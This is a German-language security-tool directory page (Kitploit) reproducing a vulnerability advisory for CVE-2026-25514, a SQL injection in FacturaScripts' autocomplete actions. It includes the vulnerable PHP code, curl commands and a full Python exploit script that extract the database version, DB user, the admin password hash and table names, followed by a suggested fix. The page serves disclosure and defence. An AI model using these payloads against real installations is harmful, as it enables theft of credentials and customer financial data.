Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-25514 — CVE-2026-25514 - FacturaScripts hat SQL-Injection in Autocomplete Actions | Kitploit
Tools/GitHubGitHub/lukasz-rybak/cve-2026-25514
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungDatenbanksicherheit
GitHublukasz-rybak/cve-2026-25514

CVE-2026-25514

CVE-2026-25514 - FacturaScripts hat SQL-Injection in Autocomplete Actions

Repository anzeigen
vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-25514: SQL-Injection in den Autocomplete-Aktionen von FacturaScripts

Übersicht

FeldDetails
CVE-IDCVE-2026-25514
SchweregradHOCH
SicherheitshinweisSicherheitshinweis anzeigen
Entdeckt vonLukasz Rybak

Betroffene Produkte

  • facturascripts/facturascripts (Versionen: < 2025.81)

CWE-Klassifizierung

  • CWE-20: Improper Input Validation
  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
  • CWE-943: Improper Neutralization of Special Elements in Data Query Logic

Details

Zusammenfassung

FacturaScripts enthält eine kritische SQL-Injection-Schwachstelle in der Autocomplete-Funktionalität, die es authentifizierten Angreifern ermöglicht, sensible Daten aus der Datenbank zu extrahieren, einschließlich Benutzeranmeldeinformationen, Konfigurationseinstellungen und aller gespeicherten Geschäftsdaten. Die Schwachstelle befindet sich in der Methode CodeModel::all(), bei der benutzergelieferte Parameter ohne Bereinigung oder parametrisierte Bindung direkt in SQL-Abfragen eingefügt werden.


Details

Mehrere Controller in FacturaScripts, darunter CopyModel, ListController und PanelController, implementieren eine Autocomplete-Aktion, die Benutzereingaben über die Methoden CodeModel::search() oder CodeModel::all() verarbeitet. Diese Methoden konstruieren SQL-Abfragen, indem sie benutzerkontrollierte Parameter ohne Validierung oder Escaping direkt verketten.

Verwundbare Codestelle

Datei: /Core/Model/CodeModel.php Methode: all() Zeilen: 108-109

root@kitploit:~
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // VULNERABLE CODE:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Verwundbare Parameter

Die folgenden Parameter sind für SQL-Injection anfällig:

  1. source → Wird auf $tableName abgebildet - Tabellennamen-Injection
  2. fieldcode → Wird auf $fieldCode abgebildet - Spaltennamen-Injection
  3. fieldtitle → Wird auf $fieldDescription abgebildet - Spaltennamen-Injection (primärer Angriffsvektor)

Angriffsablauf

  1. Der Angreifer authentifiziert sich mit gültigen Anmeldedaten (beliebige Benutzerrolle)
  2. Der Angreifer sendet eine POST-Anfrage an /CopyModel mit action=autocomplete
  3. Bösartige SQL-Funktionen/-Abfragen werden über den Parameter fieldtitle injiziert
  4. Die Anwendung führt das injizierte SQL aus und gibt die Ergebnisse im JSON-Format zurück
  5. Der Angreifer extrahiert sensible Daten aus der Datenbank

Proof of Concept (PoC)

Voraussetzungen

  • Gültige Authentifizierungsdaten (admin/admin in der Testinstanz)
  • Zugriff auf die FacturaScripts-Weboberfläche

Manuelle Ausnutzung Schritt für Schritt (CLI)

Da FacturaScripts MultiRequestProtection verwendet, ist für jede POST-Anfrage ein gültiges multireqtoken erforderlich.

1. Initiales Token und Session-Cookie abrufen: FacturaScripts leitet / auf /login um, daher verwenden wir -L, um Weiterleitungen zu folgen, und -c, um das Session-Cookie zu speichern.

root@kitploit:~
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN

2. Authentifizieren (Login): Das gespeicherte Cookie und das Token verwenden, um sich anzumelden.

root@kitploit:~
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoken=$TOKEN"

3. Datenbankversion extrahieren: Ein frisches Token für die nächste Anfrage abrufen und die Injection ausführen.

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=version()" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

4. Datenbankbenutzer und -namen extrahieren:

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=concat(user(),' @ ',database())" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

5. Admin-Passwort-Hash extrahieren:

root@kitploit:~
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=password" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

Automatisiertes Exploit-Skript

root@kitploit:~
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""

import requests
import re
import json

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"

session = requests.Session()

def get_csrf_token(url):
    """Extract CSRF token from page"""
    response = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
    return match.group(1) if match else None

def login():
    """Authenticate to FacturaScripts"""
    print(f"[*] Logging in as {USERNAME}...")
    token = get_csrf_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get CSRF token")
        exit()

    data = {
        "multireqtoken": token,
        "action": "login",
        "fsNick": USERNAME,
        "fsPassword": PASSWORD
    }
    response = session.post(f"{BASE_URL}/login", data=data)

    if "Dashboard" not in response.text:
        print("[!] Login failed!")
        exit()
    print("[+] Successfully logged in.")

def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
    """Execute SQL injection through autocomplete"""
    data = {
        "action": "autocomplete",
        "source": source,
        "fieldcode": field_code,
        "fieldtitle": field_payload,
        "term": term
    }
    response = session.post(f"{BASE_URL}/CopyModel", data=data)
    try:
        return response.json()
    except:
        return None

def main():
    login()

    print("\n" + "="*60)
    print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
    print("="*60 + "\n")

    # 1. Database version
    print("[*] Extracting database version...")
    res = exploit_sqli("version()")
    if res:
        print(f"[+] Database Version: {res[0]['value']}")

    # 2. Current user and database
    print("[*] Extracting DB user and database name...")
    res = exploit_sqli("concat(user(),' @ ',database())")
    if res:
        print(f"[+] DB User @ Database: {res[0]['value']}")

    # 3. Admin password hash
    print("[*] Extracting admin password hash...")
    res = exploit_sqli("password", term="admin")
    if res:
        print(f"[+] Admin Password Hash: {res[0]['value']}")

    # 4. All table names
    print("[*] Extracting table names...")
    res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
    if res:
        print(f"[+] Tables: {res[0]['value']}")

    print("\n[+] Exploitation complete!")

if __name__ == "__main__":
    main()
image

Auswirkungen

Diese SQL-Injection-Schwachstelle hat eine KRITISCHE Auswirkung:

Vertraulichkeit der Daten

  • Vollständige Offenlegung der Datenbank - Der Angreifer kann alle Daten extrahieren, einschließlich:
    • Benutzeranmeldeinformationen (Passwort-Hashes)
    • Kundendaten (Namen, Adressen, Steuer-IDs usw.)
    • Finanzdaten (Rechnungen, Zahlungen, Bankverbindungen)
    • Geschäftslogik und Konfigurationsdaten
    • Plugin- und Systemeinstellungen

Wer ist betroffen?

  • Alle FacturaScripts-Installationen, die verwundbare Versionen ausführen
  • Alle authentifizierten Benutzer können die Schwachstelle ausnutzen (nicht nur Administratoren)
  • Unternehmen, die FacturaScripts für Buchhaltung/Rechnungsstellung verwenden
  • Kunden, deren Daten im System gespeichert sind

Empfohlener Fix

Sofortige Abhilfe

Option 1: Prepared Statements verwenden

root@kitploit:~
// File: Core/Model/CodeModel.php
// Method: all()

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ... validation code ...

    // Validate and escape identifiers
    $safeTableName = self::db()->escapeColumn($tableName);
    $safeFieldCode = self::db()->escapeColumn($fieldCode);
    $safeFieldDescription = self::db()->escapeColumn($fieldDescription);

    // Use parameterized query
    $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
        . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';

    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Danksagung

Entdeckt von: Łukasz Rybak

Referenzen

  • https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952
  • https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f
  • https://nvd.nist.gov/vuln/detail/CVE-2026-25514
  • https://github.com/advisories/GHSA-pqqg-5f4f-8952

Haftungsausschluss

Diese CVE wurde im Rahmen koordinierter Offenlegungspraktiken für Schwachstellen verantwortungsvoll gemeldet. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.

Tool herunterladen